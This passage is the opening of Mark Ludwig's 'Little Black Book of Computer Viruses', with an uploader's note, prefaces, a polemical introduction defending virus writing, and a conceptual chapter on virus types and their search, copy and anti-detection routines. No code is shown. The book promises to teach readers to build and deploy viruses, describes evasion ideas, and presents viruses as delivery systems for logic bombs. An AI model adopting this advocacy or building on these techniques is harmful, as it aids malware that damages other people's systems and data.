Volume One:
The Basic Technology
By
Mark A. Ludwig
American Eagle Publications, Inc.
Post Office Box 1507
Show Low, Arizona 85901
1996
I have read this book completely and I have found it very useful. This is a good beginning material for those who want to know the intrecacies of how a virus works and those who want to surprise their friends by creating a virus !
I had found this book long ago on a site the I recenly happened to know no longer exixts. I think a good text such as this shouldbe freely available to everybody and thus, I decided to upload it on my website and distribute it for free. The original copyright notice is attached, and no changes in the text are made except that it has been made in html format, for better view. The images whose reference is given in this book can be found at
this page.Please feel free to distribute this file. You can also read or contribute anything related to this book at the Special Section of Discussion Forum at my website (http://amitmathur.8m.com), started specially for it. You can catch it
hereI hope you will enjoy the book !
Amit Mathur
Copyright 1990 By Mark A. Ludwig
Virus drawings and cover design by Steve Warner
This electronic edition of The Little Black Book of Computer Viruses is
copyright 1996 by Mark A. Ludwig. This original text file
may be copied freely in unmodified form. Please share it, upload it,
download it, etc. This document may not be distributed in printed form
or modified in any way without written permission from the publisher.
Library of Congress CataloginginPublication Data
Ludwig, Mark A.
The little black book of computer viruses / by Mark A. Ludwig.
p. cm.
Includes bibliographical references (p. ) and index.
ISBN 0929408020 (v. 1) : $14.95
1. Computer viruses I. Title
QA76.76.C68L83 1990
005.8 dc20
And God saw that it was good.
And God blessed them, saying "
"
Genesis 1:21,22
Be fruitful
and multiply.
Preface to the Electronic Edition
The Little Black Book of Computer Viruses has seen five
good years in print. In those five years it has opened a door to
seriously ask the question whether it is better to make technical
information about computer viruses known or not.
When I wrote it, it was largely an experiment. I had no idea
what would happen. Would people take the viruses it contained and
rewrite them to make all kinds of horrificly destructive viruses? Or
would they by and large be used responsibly? At the time I wrote,
no antivirus people would even talk to me, and what I could find
in print on the subject was largely unimpressive from a factual
standpoint---lots of hype and fearmongering, but very little solid
research that would shed some light on what might happen if I
released this book. Being a freedom loving and knowledge seeking
American, I decided to go ahead and do it---write the book and get
it in print. And I decided that if people did not use it responsibly, I
would withdraw it.
Five years later, I have to say that I firmly believe the book
has done a lot more good than harm.
On the positive side, lots and lots of people who desper
ately need this kind of information---people who are responsible
for keeping viruses off of computers---have now been able to get
it. While individual users who have limited contact with other
computer users may be able to successfully protect themselves with
an offtheshelf antivirus, experience seems to be proving that such
is not the case when one starts looking at the network with 10,000
users on it. For starters, very few antivirus systems will run on
10,000 computers with a wide variety of configurations, etc. Sec
ondly, when someone on the network encounters a virus, they have
to be able to talk to someone in the organization who has the
detailed technical knowledge necessary to get rid of it in a rational
way. You can't just shut such a big network down for 4 days while
someone from your av vendor's tech support staff is flown in to
clean up, or to catch and analyze a new virus.
Secondly, people who are just interested in how things
work have finally been able to learn a little bit about computer
viruses. It is truly difficult to deny that they are interesting. The idea
of a computer program that can take off and gain a life completely
independent of its maker is, well, exciting. I think that is important.
After all, many of the most truly useful inventions are made not by
giant, secret, governmentfunded labs, but by individuals who have
their hands on something day in and day out. They think of a way
to do something better, and do it, and it changes the world. However,
that will never happen if you can't get the basic information about
how something works. It's like depriving the carpenter of his
hammer and then asking him to figure out a way to build a better
building.
At the same time, I have to admit that this experiment called
The Little Black Book has not been without its dangers. The Stealth
virus described in its pages has succeeded in establishing itself in
the wild, and, as of the date of this writing it is #8 on the annual
frequency list, which is a concatenation of the most frequently
found viruses in the wild. I am sorry that it has found its way into
the wild, and yet I find here a stroke of divine humor directed at
certain antivirus people. There is quite a history behind this virus.
I will touch on it only briefly because I don't want to bore you with
my personal battles. In the first printing of The Little Black Book,
the Stealth was designed to format an extra track on the disk and
hide itself there. Of course, this only worked on machines that had
a BIOS which did not check track numbers and things like that---
particularly, on old PCs. And then it did not infect disks every time
they were accessed. This limited its ability to replicate. Some
antivirus developers commented to me that they thought this was
The Little Black Book of Computer Viruses
a poor virus for that reason, and suggested I should have done it
differently. I hesitated to do that, I said, because I did not want it to
spread too rapidly.
Not stopping at making such suggestions, though, some of
these same av people lambasted me in print for having published
``lame'' viruses. Fine, I decided, if they are going to criticize the
book like that, we'll improve the viruses. Next round at the printer,
I updated the Stealth virus to work more like the Pakistani Brain,
hiding its sectors in areas marked bad in the FAT table, and to infect
as quickly as Stoned. It still didn't stop these idiotic criticisms,
though. As late as last year, Robert Slade was evaluating this book
in his own virus book and finding it wanting because the viruses it
discussed weren't very successful at spreading. He thought this
objective criticism. From that date forward, it would appear that
Stealth has done nothing but climb the wildlist charts. Combining
aggressive infection techniques with a decent stealth mechanism
has indeed proven effective . . . too effective for my liking, to tell
the truth. It's never been my intention to write viruses that will make
it to the wild list charts. In retrospect, I have to say that I've learned
to ignore idiotic criticism, even when the idiots want to make me
look like an idiot in comparison to their ever inscrutable wisdom.
In any event, the Little Black Book has had five good years
as a print publication. With the release of The Giant Black Book of
Computer Viruses, though, the publisher has decided to take The
Little Black Book out of print. They've agreed to make it available
in a freeware electronic version, though, and that is what you are
looking at now. I hope you'll find it fun and informative. And if you
do, check out the catalog attached to it here for more great infor
mation about viruses from the publisher.
Mark Ludwig
February 22, 1996
Preface to the Electronic Edition
Introduction
This is the first in a series of three books about computer
viruses. In these volumes I want to challenge you to think in new
ways about viruses, and break down false concepts and wrong ways
of thinking, and go on from there to discuss the relevance of
computer viruses in today's world. These books are not a call to a
witch hunt, or manuals for protecting yourself from viruses. On the
contrary, they will teach you how to design viruses, deploy them,
and make them better. All three volumes are full of source code for
viruses, including both new and well known varieties.
It is inevitable that these books will offend some people.
In fact, I hope they do. They need to. I am convinced that computer
viruses are not evil and that programmers have a right to create
them, posses them and experiment with them. That kind of a stand
is going to offend a lot of people, no matter how it is presented.
Even a purely technical treatment of viruses which simply dis
cussed how to write them and provided some examples would be
offensive. The mere thought of a million well armed hackers out
there is enough to drive some bureaucrats mad. These books go
beyond a technical treatment, though, to defend the idea that viruses
can be useful, interesting, and just plain fun. That is bound to prove
even more offensive. Still, the truth is the truth, and it needs to be
spoken, even if it is offensive. Morals and ethics cannot be deter
mined by a majority vote, any more than they can be determined
by the barrel of a gun or a loud mouth. Might does not make right.
If you turn out to be one of those people who gets offended
or upset, or if you find yourself violently disagreeing with some
thing I say, just remember what an athletically minded friend of
mine once told me: ``No pain, no gain.'' That was in reference to
muscle building, but the principle applies intellectually as well as
physically. If someone only listens to people he agrees with, he will
never grow and he'll never succeed beyond his little circle of
yesmen. On the other hand, a person who listens to different ideas
at the risk of offense, and who at least considers that he might be
wrong, cannot but gain from it. So if you are offended by something
in this book, please be critical---both of the book and of yourself---
and don't fall into a rut and let someone else tell you how to think.
From the start I want to stress that I do not advocate
anyone's going out and infecting an innocent party's computer
system with a malicious virus designed to destroy valuable data or
bring their system to a halt. That is not only wrong, it is illegal. If
you do that, you could wind up in jail or find yourself being sued
for millions. However this does not mean that it is illegal to create
a computer virus and experiment with it, even though I know some
people wish it was. If you do create a virus, though, be careful with
it. Make sure you know it is working properly or you may wipe out
your own system by accident. And make sure you don't inadver
tently release it into the world, or you may find yourself in a legal
jam . . . even if it was just an accident. The guy who loses a year's
worth of work may not be so convinced that it was an accident. And
soon it may be illegal to infect a computer system (even your own)
with a benign virus which does no harm at all. The key word here
is responsibility. Be responsible. If you do something destructive,
be prepared to take responsibility. The programs included in this
book could be dangerous if improperly used. Treat them with the
respect you would have for a lethal weapon.
This first of three volumes is a technical introduction to the
basics of writing computer viruses. It discusses what a virus is, and
how it does its job, going into the major functional components of
the virus, step by step. Several different types of viruses are
developed from the ground up, giving the reader practical howto
information for writing viruses. That is also a prerequisite for
decoding and understanding any viruses one may run across in his
2 The Little Black Book of Computer Viruses
day to day computing. Many people think of viruses as sort of a
black art. The purpose of this volume is to bring them out of the
closet and look at them matteroffactly, to see them for what they
are, technically speaking: computer programs.
The second volume discusses the scientific applications of
computer viruses. There is a whole new field of scientific study
known as artificial life (AL) research which is opening up as a result
of the invention of viruses and related entities. Since computer
viruses are functionally similar to living organisms, biology can
teach us a lot about them, both how they behave and how to make
them better. However computer viruses also have the potential to
teach us something about living organisms. We can create and
control computer viruses in a way that we cannot yet control living
organisms. This allows us to look at life abstractly to learn about
what it really is. Wemay even reflect on such great questions as the
beginning and subsequent evolution of life.
The third volume of this series discusses military applica
tions for computer viruses. It is well known that computer viruses
can be extremely destructive, and that they can be deployed with
minimal risk. Military organizations throughout the world know
that too, and consider the possibility of viral attack both a very real
threat and a very real offensive option. Some high level officials in
various countries already believe their computers have been at
tacked for political reasons. So the third volume will probe military
strategies and reallife attacks, and dig into the development of viral
weapon systems, defeating antiviral defenses, etc.
You might be wondering at this point why you should
spend time studying these volumes. After all, computer viruses
apparently have no commercial value apart from their military
applications. Learning how to write them may not make you more
employable, or give you new techniques to incorporate into pro
grams. So why waste time with them, unless you need them to sow
chaos among your enemies? Let me try to answer that: Ever since
computers were invented in the 1940's, there has been a brother
hood of people dedicated to exploring the limitless possibilities of
these magnificent machines. This brotherhood has included famous
mathematicians and scientists, as well as thousands of unnamed
hobbyists who built their own computers, and programmers who
Introduction 3
love to dig into the heart of their machines. As long as computers
have been around, men have dreamed of intelligent machines which
would reason, and act without being told step by step just what to
do. For many years this was purely science fiction. However, the
very thought of this possibility drove some to attempt to make it a
reality. Thus ``artificial intelligence'' was born. Yet AI applications
are often driven by commercial interests, and tend to be colored by
that fact. Typical results are knowledge bases and the like---useful,
sometimes exciting, but also geared toward putting the machine to
use in a specific way, rather than to exploring it on its own terms.
The computer virus is a radical new approach to this idea
of ``living machines.'' Rather than trying to design something which
poorly mimics highly complex human behavior, one starts by trying
to copy the simplest of living organisms. Simple onecelled organ
isms don't do very much. The most primitive organisms draw
nutrients from the sea in the form of inorganic chemicals, and take
energy from the sun, and their only goal is apparently to survive
and to reproduce. They aren't very intelligent, and it would be tough
to argue about their metaphysical aspects like ``soul.'' Yet they do
what they were programmed to do, and they do it very effectively.
If we were to try to mimic such organisms by building a machine---
a little robot---which went around collecting raw materials and
putting them together to make another little robot, we would have
a very difficult task on our hands. On the other hand, think of a
whole new universe---not this physical world, but an electronic one,
which exists inside of a computer. Here is the virus' world. Here it
can ``live'' in a sense not too different from that of primitive
biological life. The computer virus has the same goal as a living
organism---to survive and to reproduce. It has environmental ob
stacles to overcome, which could ``kill'' it and render it inoperative.
And once it is released, it seems to have a mind of its own. It runs
off in its electronic world doing what it was programmed to do. In
this sense it is very much alive.
There is no doubt that the beginning of life was an impor
tant milestone in the history of the earth. However, if one tries to
consider it from the viewpoint of inanimate matter, it is difficult to
imagine life as being much more than a nuisance. We usually
assume that life is good and that it deserves to be protected.
4 The Little Black Book of Computer Viruses
However, one cannot take a step further back and see life as
somehow beneficial to the inanimate world. If we consider only the
atoms of the universe, what difference does it make if the tempera
ture is seventy degrees farenheit or twenty million? What difference
would it make if the earth were covered with radioactive materials?
None at all. Whenever we talk about the environment and ecology,
we always assume that life is good and that it should be nurtured
and preserved. Living organisms universally use the inanimate
world with little concern for it, from the smallest cell which freely
gathers the nutrients it needs and pollutes the water it swims in,
right up to the man who crushes up rocks to refine the metals out
of them and build airplanes. Living organisms use the material
world as they see fit. Even when people get upset about something
like strip mining, or an oil spill, their point of reference is not that
of inanimate nature. It is an entirely selfish concept (with respect
to life) that motivates them. The mining mars the beauty of the
landscape---a beauty which is in the eye of the (living) beholder---
and it makes it uninhabitable. If one did not place a special
emphasis on life, one could just as well promote strip mining as an
attempt to return the earth to its prebiotic state!
I say all of this not because I have a bone to pick with
ecologists. Rather I want to apply the same reasoning to the world
of computer viruses. As long as one uses only financial criteria to
evaluate the worth of a computer program, viruses can only be seen
as a menace. What do they do besides damage valuable programs
and data? They are ruthless in attempting to gain access to the
computer system resources, and often the more ruthless they are,
the more successful. Yet how does that differ from biological life?
If a clump of moss can attack a rock to get some sunshine and grow,
it will do so ruthlessly. We call that beautiful. So how different is
that from a computer virus attaching itself to a program? If all one
is concerned about is the preservation of the inanimate objects
(which are ordinary programs) in this electronic world, then of
course viruses are a nuisance.
But maybe there is something deeper here. That all depends
on what is most important to you, though. It seems that modern
culture has degenerated to the point where most men have no higher
goals in life than to seek their own personal peace and prosperity.
Introduction 5
By personal peace, I do not mean freedom from war, but a freedom
to think and believe whatever you want without ever being chal
lenged in it. More bluntly, the freedom to live in a fantasy world of
your own making. By prosperity, I mean simply an ever increasing
abundance of material possessions. Karl Marx looked at all of
mankind and said that the motivating force behind every man is his
economic well being. The result, he said, is that all of history can
be interpreted in terms of class struggles---people fighting for
economic control. Even though many in our government decry
Marx as the father of communism, our nation is trying to squeeze
into the straight jacket he has laid for us. That is why two of George
Bush's most important campaign promises were ``four more years
of prosperity'' and ``no new taxes.'' People vote their wallets, even
when they know the politicians are lying through the teeth.
In a society with such values, the computer becomes
merely a resource which people use to harness an abundance of
information and manipulate it to their advantage. If that is all there
is to computers, then computer viruses are a nuisance, and they
should be eliminated. Surely there must be some nobler purpose
for mankind than to make money, though, even though that may be
necessary. Marx may not think so. The government may not think
so. And a lot of loudmouthed people may not think so. Yet great
men from every age and every nation testify to the truth that man
does have a higher purpose. Should we not be as Socrates, who
considered himself ignorant, and who sought Truth and Wisdom,
and valued them more highly than silver and gold? And if so, the
question that really matters is not how computers can make us
wealthy or give us power over others, but how they might make us
wise. What can we learn about ourselves? about our world? and,
yes, maybe even about God? Once we focus on that, computer
viruses become very interesting. Might we not understand life a
little better if we can create something similar, and study it, and try
to understand it? And if we understand life better, will we not
understand our lives, and our world better as well?
A word of caution first: Centuries ago, our nation was
established on philosophical principles of good government, which
were embodied in the Declaration of Independence and the Consti
tution. As personal peace and prosperity have become more impor
6 The Little Black Book of Computer Viruses
tant than principles of good government, the principles have been
manipulated and redefined to suit the whims of those who are in
power. Government has become less and less sensitive to civil
rights, while it has become easy for various political and financial
interests to manipulate our leaders to their advantage.
Since people have largely ceased to challenge each other
in what they believe, accepting instead the idea that whatever you
want to believe is OK, the government can no longer get people to
obey the law because everyone believes in a certain set of principles
upon which the law is founded. Thus, government must coerce
people into obeying it with increasingly harsh penalties for disobe
dience---penalties which often fly in the face of long established
civil rights. Furthermore, the government must restrict the average
man's ability to seek recourse. For example, it is very common for
the government to trample all over long standing constitutional
rights when enforcing the tax code. The IRS routinely forces
hundreds of thousands of people to testify against themselves. It
routinely puts the burden of proof on the accused, seizes his assets
without trial, etc., etc. The bottom line is that it is not expedient for
the government to collect money from its citizens if it has to prove
their tax documents wrong. The whole system would break down
in a massive overload. Economically speaking, it is just better to
put the burden of proof on the citizen, Bill of Rights or no.
Likewise, to challenge the government on a question of
rights is practically impossible, unless your case happens to serve
the purposes of some powerful special interest group. In a standard
courtroom, one often cannot even bring up the subject of constitu
tional rights. The only question to be argued is whether or not some
particular law was broken. To appeal to the Supreme Court will cost
millions, if the politically motivated justices will even condescend
to hear the case. So the government becomes practically allpow
erful, God walking on earth, to the common man. One man seems
to have little recourse but to blindly obey those in power.
Whenwe start talking about computer viruses, we're tread
ing on some ground that certain people want to post a ``No Tres
passing'' sign on. The Congress of the United States has considered
a ``Computer Virus Eradication Act'' which would make it a felony
to write a virus, or for two willing parties to exchange one. Never
Introduction 7
mind that the Constitution guarantees freedom of speech and
freedom of the press. Never mind that it guarantees the citizens the
right to bear military arms (and viruses might be so classified).
While that law has not passed as of this writing, it may by the time
you read this book. If so, I will say without hesitation that it is a
miserable tyranny, but one that we can do little about . . . for now.
Some of our leaders may argue that many people are not
capable of handling the responsibility of power that comes with
understanding computer viruses, just as they argue that people are
not able to handle the power of owning assault rifles or machine
guns. Perhaps some cannot. But I wonder, are our leaders any better
able to handle the much more dangerous weapons of law and
limitless might? Obviously they think so, since they are busy trying
to centralize all power into their own hands. I disagree. If those in
government can handle power, then so can the individual. If the
individual cannot, then neither can his representatives, and our end
is either tyranny or chaos anyhow. So there is no harm in attempting
to restore some small power to the individual.
But remember: truth seekers and wise men have been
persecuted by powerful idiots in every age. Although computer
viruses may be very interesting and worthwhile, those who take an
interest in them may face some serious challenges from base men.
So be careful.
Now join with me and take the attitude of early scientists.
These explorers wanted to understand how the world worked---and
whether it could be turned to a profit mattered little. They were
trying to become wiser in what's really important by understanding
the world a little better. After all, what value could there be in
building a telescope so you could see the moons around Jupiter?
Galileo must have seen something in it, and it must have meant
enough to him to stand up to the ruling authorities of his day and
do it, and talk about it, and encourage others to do it. And to land
in prison for it. Today some people are glad he did.
Sowhy not take the same attitude when it comes to creating
life on a computer? One has to wonder where it might lead. Could
there be a whole new world of electronic life forms possible, of
which computer viruses are only the most rudimentary sort? Per
haps they are the electronic analog of the simplest onecelled
8 The Little Black Book of Computer Viruses
creatures, which were only the tiny beginning of life on earth. What
would be the electronic equivalent of a flower, or a dog? Where
could it lead? The possibilities could be as exciting as the idea of a
man actually standing on the moon would have been to Galileo. We
just have no idea.
There is something in certain men that simply drives them
to explore the unknown. When standing at the edge of a vast ocean
upon which no ship has ever sailed, it is difficult not to wonder what
lies beyond the horizon just because the rulers of the day tell you
you're going to fall of the edge of the world (or they're going to
push you off) if you try to find out. Perhaps they are right. Perhaps
there is nothing of value out there. Yet other great explorers down
through the ages have explored other oceans and succeeded. And
one thing is for sure: we'll never know if someone doesn't look. So
I would like to invite you to climb aboard this little raft that I have
built and go exploring. . . .
Introduction 9
The Basics of the Computer Virus
A plethora of negative magazine articles and books have
catalyzed a new kind of hypochondria among computer users: an
unreasonable fear of computer viruses. This hypochondria is pos
sible because a) computers are very complex machines which will
often behave in ways which are not obvious to the average user, and
b) computer viruses are still extremely rare. Thus, most computer
users have never experienced a computer virus attack. Their only
experience has been what they've read about or heard about (and
only the worst problems make it into print). This combination of
ignorance, inexperience and fearprovoking reports of danger is the
perfect formula for mass hysteria.
Most problems people have with computers are simply
their own fault. For example, they accidentally delete all the files
in their current directory rather than in another directory, as they
intended, or they format the wrong disk. Or perhaps someone
routinely does something wrong out of ignorance, like turning the
computer off in the middle of a program, causing files to get
scrambled. Following close on the heels of these kinds of problems
are hardware problems, like a misaligned floppy drive or a hard
disk failure. Such routine problems are made worse than necessary
when users do not plan for them, and fail to back up their work on
a regular basis. This stupidity can easily turn a problem that might
have cost $300 for a new hard disk into a nightmare which will
ultimately cost tens of thousands of dollars. When such a disaster
happens, it is human nature to want to find someone or something
else to blame, rather than admitting it is your own fault. Viruses
have proven to be an excellent scapegoat for all kinds of problems.
Of course, there are times when people want to destroy
computers. In a time of war, a country may want to hamstring their
enemy by destroying their intelligence databases. If an employee
is maltreated by his employer, he may want to retaliate, and he may
not be able to get legal recourse. One can also imagine a totalitarian
state trying to control their citizens' every move with computers,
and a group of good men trying to stop it. Althoughonecould smash
a computer, or physically destroy its data, one does not always have
access to the machine that will be the object of the attack. At other
times, one may not be able to perpetrate a physical attack without
facing certain discovery and prosecution. While an unprovoked
attack, and even revenge, may not be right, people still do choose
such avenues (and even a purely defensive attack is sure to be
considered wrong by an arrogant agressor). For the sophisticated
programmer, though, physical access to the machine is not neces
sary to cripple it.
People who have attacked computers and their data have
invented several different kinds of programs. Since one must obvi
ously conceal the destructive nature of a program to dupe somebody
into executing it, deceptive tricks are an absolute must in this game.
The first and oldest trick is the ``trojan horse.'' The trojan horse may
appear to be a useful program, but it is in fact destructive. It entices
you to execute it because it promises to be a worthwhile program
for your computer---new and better ways to make your machine
more effective---but when you execute the program, surprise! Sec
ondly, destructive code can be hidden as a ``logic bomb'' inside of
an otherwise useful program. You use the program on a regular
basis, and it works well. Yet, when a certain event occurs, such as
a certain date on the system clock, the logic bomb ``explodes'' and
does damage. These programs are designed specifically to destroy
computer data, and are usually deployed by their author or a willing
associate on the computer system that will be the object of the
attack.
There is always a risk to the perpetrator of such destruction.
He must somehow deploy destructive code on the target machine
without getting caught. If that means he has to put the program on
11 The Little Black Book of Computer Viruses
the machine himself, or give it to an unsuspecting user, he is at risk.
The risk may be quite small, especially if the perpetrator normally
has access to files on the system, but his risk is never zero.
With such considerable risks involved, there is a powerful
incentive to develop cunning deployment mechanisms for getting
destructive code onto a computer system. Untraceable deployment
is a key to avoiding being put on trial for treason, espionage, or
vandalism. Among the most sophisticated of computer program
mers, the computer virus is the vehicle of choice for deploying
destructive code. That is why viruses are almost synonymous with
wanton destruction.
However, we must realize that computer viruses are not
inherently destructive. The essential feature of a computer program
that causes it to be classified as a virus is not its ability to destroy
data, but its ability to gain control of the computer and make a fully
functional copy of itself. It can reproduce. When it is executed, it
makes one or more copies of itself. Those copies may later be
executed, to create still more copies, ad infinitum. Not all computer
programs that are destructive are classified as viruses because they
do not all reproduce, and not all viruses are destructive because
reproduction is not destructive. However, all viruses do reproduce.
The idea that computer viruses are always destructive is deeply
ingrained in most people's thinking though. The very term ``virus''
is an inaccurate and emotionally charged epithet. The scientifically
correct term for a computer virus is ``selfreproducing automaton,''
or ``SRA'' for short. This term describes correctly what such a
program does, rather than attaching emotional energy to it. We will
continue to use the term ``virus'' throughout this book though,
except when we are discussing computer viruses (SRA's) and
biological viruses at the same time, and we need to make the
difference clear.
If one tries to draw an analogy between the electronic world
of programs and bytes inside a computer and the physical world we
know, the computer virus is a very close analog to the simplest
biological unit of life, a single celled, photosynthetic organism.
Leaving metaphysical questions like ``soul'' aside, a living organ
ism can be differentiated from nonlife in that it appears to have
two goals: (a) to survive, and (b) to reproduce. Although one can
The Basics of the Computer Virus 12
raise metaphysical questions just by saying that a living organism
has ``goals,'' they certainly seem to, if the onlooker has not been
educated out of that way of thinking. And certainly the idea of a
goal would apply to a computer program, since it was written by
someone with a purpose in mind. So in this sense, a computer virus
has the same two goals as a living organism: to survive and to
reproduce. The simplest of living organisms depend only on the
inanimate, inorganic environment for what they need to achieve
their goals. They draw raw materials from their surroundings, and
use energy from the sun to synthesize whatever chemicals they need
to do the job. The organism is not dependent on another form of life
which it must somehow eat, or attack to continue its existence. In
the same way, a computer virus uses the computer system's re
sources like disk storage and CPU time to achieve its goals. Spe
cifically, it does not attack other selfreproducing automata and
``eat'' them in a manner similar to a biological virus. Instead, the
computer virus is the simplest unit of life in this electronic world
inside the computer. (Of course, it is conceivable that one could
write a more sophisticated program which would behave like a
biological virus, and attack other SRA's.)
Before the advent of personal computers, the electronic
domain in which a computer virus might ``live'' was extremely
limited. Computers were rare, and they had many different kinds
of CPU's and operating systems. So a tinkerer might have written
a virus, and let it execute on his system. However, there would have
been little danger of it escaping and infecting other machines. It
remained under the control of its master. The age of the masspro
duced computer opened up a whole new realm for viruses, though.
Millions of machines all around the world, all with the same basic
architecture and operating system make it possible for a computer
virus to escape and begin a life of its own. It can hop from machine
to machine, accomplishing the goals programmed into it, with no
one to control it and few who can stop it. And so the virus became
a viable form of electronic life in the 1980's.
Now one can create selfreproducing automata that are not
computer viruses. For example, the famous mathematician John
von Neumann invented a selfreproducing automaton ``living'' in a
grid array of cells which had 29 possible states. In theory, this
13 The Little Black Book of Computer Viruses
automaton could be modeled on a computer. However, it was not a
program that would run directly on any computer known in von
Neumann's day. Likewise, one could write a program which simply
copied itself to another file. For example ``1.COM'' could create
``2.COM'' which would be an exact copy of itself (both program
files on an IBM PC style machine.) The problem with such concoc
tions is viability. Their continued existence is completely depend
ent on the man at the console. Amore sophisticated version of such
a program might rely on deceiving that man at the console to
propagate itself. This program is known as a worm. The computer
virus overcomes the roadblock of operator control by hiding itself
in other programs. Thus it gains access to the CPU simply because
people run programs that it happens to have attached itself to
without their knowledge. The ability to attach itself to other pro
grams is what makes the virus a viable electronic life form. That is
what puts it in a class by itself. The fact that a computer virus
attaches itself to other programs earned it the name ``virus.'' How
ever that analogy is wrong since the programs it attaches to are not
in any sense alive.
Types of Viruses
Computer viruses can be classified into several different
types. The first and most common type is the virus which infects
any application program. On IBM PC's and clones running under
PCDOS or MSDOS,most programs and data which do not belong
to the operating system itself are stored as files. Each file has a file
name eight characters long, and an extent which is three characters
long. A typical file might be called ``TRUE.TXT'', where ``TRUE''
is the name and ``TXT'' is the extent. The extent normally gives
some information about the nature of a file---in this case
``TRUE.TXT'' might be a text file. Programs must always have an
extent of ``COM'', ``EXE'', or ``SYS''. Under DOS, only files with
these extents can be executed by the central processing unit. If the
user tries to execute any other type of file, DOS will generate an
error and reject the attempt to execute the file.
The Basics of the Computer Virus 14
Since a virus' goal is to get executed by the computer, it
must attach itself to a COM, EXE or SYS file. If it attaches to any
other file, it may corrupt some data, but it won't normally get
executed, and it won't reproduce. Since each of these types of
executable files has a different structure, a virus must be designed
to attach itself to a particular type of file. A virus designed to attack
COM files cannot attack EXE files, and vice versa, and neither can
attack SYS files. Of course, one could design a virus that would
attack twoor even three kinds of files, but it would require a separate
reproduction method for each file type.
The next major type of virus seeks to attach itself to a
specific file, rather than attacking any file of a given type. Thus, we
might call it an applicationspecific virus. These viruses make use
of a detailed knowledge of the files they attack to hide better than
would be possible if they were able to infiltrate just any file. For
example, they might hide in a data area inside the program rather
than lengthening the file. However, in order to do that, the virus
must know where the data area is located in the program, and that
differs from program to program.
This second type of virus usually concentrates on the files
associated to DOS, like COMMAND.COM, since they are on
virtually every PC in existence. Regardless of which file such a
virus attacks, though, it must be very, very common, or the virus
will never be able to find another copy of that file to reproduce in,
and so it will not go anywhere. Only with a file like COM
MAND.COM would it be possible to begin leaping from machine
to machine and travel around the world.
The final type of virus is known as a ``boot sector virus.''
This virus is a further refinement of the applicationspecific virus,
which attacks a specific location on a computer's disk drive, known
as the boot sector. The boot sector is the first thing a computer loads
into memory from disk and executes when it is turned on. By
attacking this area of the disk, the virus can gain control of the
computer immediately, every time it is turned on, before any other
program can execute. In this way, the virus can execute before any
other program or person can detect its existence.
15 The Little Black Book of Computer Viruses
The Functional Elements of a Virus
Every viable computer virus must have at least two basic
parts, or subroutines, if it is even to be called a virus. Firstly, it must
contain a search routine, which locates new files or new areas on
disk which are worthwhile targets for infection. This routine will
determine how well the virus reproduces, e.g., whether it does so
quickly or slowly, whether it can infect multiple disks or a single
disk, and whether it can infect every portion of a disk or just certain
specific areas. As with all programs, there is a size versus function
ality tradeoff here. The more sophisticated the search routine is, the
more space it will take up. So although an efficient search routine
may help a virus to spread faster, it will make the virus bigger, and
that is not always so good.
Secondly, every computer virus must contain a routine to
copy itself into the area which the search routine locates. The copy
routine will only be sophisticated enough to do its job without
getting caught. The smaller it is, the better. How small it can be will
depend on how complex a virus it must copy. For example, a virus
which infects only COM files can get by with a much smaller copy
routine than a virus which infects EXE files. This is because the
EXE file structure is muchmore complex, so the virus simply needs
to do more to attach itself to an EXE file.
While the virus only needs to be able to locate suitable
hosts and attach itself to them, it is usually helpful to incorporate
some additional features into the virus to avoid detection, either by
the computer user, or by commercial virus detection software.
Antidetection routines can either be a part of the search or copy
routines, or functionally separate from them. For example, the
search routine may be severely limited in scope to avoid detection.
A routine which checked every file on every disk drive, without
limit, would take a long time and cause enough unusual disk activity
that an alert user might become suspicious. Alternatively, an anti
detection routine might cause the virus to activate under certain
special conditions. For example, it might activate only after a
certain date has passed (so the virus could lie dormant for a time).
The Basics of the Computer Virus 16
Alternatively, it might activate only if a key has not been pressed
for five minutes (suggesting that the user was not there watching
his computer).
Search, copy, and antidetection routines are the only nec
essary components of a computer virus, and they are the compo
nents which we will concentrate on in this volume. Of course, many
computer viruses have other routines added in on top of the basic
three to stop normal computer operation, to cause destruction, or
to play practical jokes. Such routines may give the virus character,
but they are not essential to its existence. In fact, such routines are
usually very detrimental to the virus' goal of survival and selfre
production, because they make the fact of the virus' existence
known to everybody. If there is just a little more disk activity than
expected, no one will probably notice, and the virus will go on its
merry way. On the other hand, if the screen to one's favorite
program comes up saying ``Ha! Gotcha!'' and then the whole
VIRUS
Antidetection
routines
Search Copy
Figure 1: Functional diagram of a virus.
17 The Little Black Book of Computer Viruses
computer locks up, with everything on it ruined, most anyone can
figure out that they've been the victim of a destructive program.
And if they're smart, they'll get expert help to eradicate it right
away. The result is that the viruses on that particular system are
killed off, either by themselves or by the clean up crew.
Although it may be the case that anything which is not
essential to a virus'survival may prove detrimental, many computer
viruses are written primarily to be smart delivery systems of these
``other routines.'' The author is unconcerned about whether the virus
gets killed in action when its logic bomb goes off, so long as the
bomb gets deployed effectively. The virus then becomes just like a
Kamikaze pilot, who gives his life to accomplish the mission. Some
of these ``other routines'' have proven to be quite creative. For
example, one well known virus turns a computer into a simulation
of a wash machine, complete with graphics and sound. Another
makes Friday the 13th truly a bad day by coming to life only on
that day and destroying data. None the less, these kinds of routines
are more properly the subject of volume three of this series, which
discusses the military applications of computer viruses. In this
volume we will stick with the basics of designing the reproductive
system. And if you're real interest is in military applications, just
remember that the best logic bomb in the world is useless if you
can't deploy it correctly. The delivery system is very, very impor
tant. The situation is similar to having an atomic bomb, but not the
means to send it half way around the world in fifteen minutes. Sure,
you can deploy it, but crossing borders, getting close to the target,
and hiding the bomb all pose considerable risks. The effort to
develop a rocket is worthwhile.
Tools Needed for Writing Viruses
Viruses are written in assembly language. High level lan
guages like Basic, C, and Pascal have been designed to generate
standalone programs, but the assumptions made by these lan
guages render them almost useless when writing viruses. They are
simply incapable of performing the acrobatics required for a virus
to jump from one host program to another. That is not to say that
The Basics of the Computer Virus 18
one could not design a high level language that would do the job,
but no one has done so yet. Thus, to create viruses, we must use
assembly language. It is just the only way we can get exacting
control over all the computer system's resources and use them the
way we want to, rather than the way somebody else thinks we
should.
If you have not done any programming in assembler before,
I would suggest you get a good tutorial on the subject to use along
side of this book. (A few are mentioned in the Suggested Reading
at the end of the book.) In the following chapters, I will assume that
your knowledge of the technical details of PC's---like file struc
tures, function calls, segmentation and hardware design---is lim
ited, and I will try to explain such matters carefully at the start.
However, I will assume that you have some knowledge of assembly
language---at least at the level where you can understand what some
of the basic machine instructions, like mov ax,bx do. If you are not
familiar with simpler assembly language programming like this,
get a tutorial book on the subject. With a little work it will bring
you up to speed.
At present, there are three popular assemblers on the mar
ket, and you will need one of them to do any work with computer
viruses. The first and oldest is Microsoft's Macro Assembler, or
MASM for short. It will cost you about $100 to buy it through a
mail order outlet. The second is Borland's Turbo Assembler, also
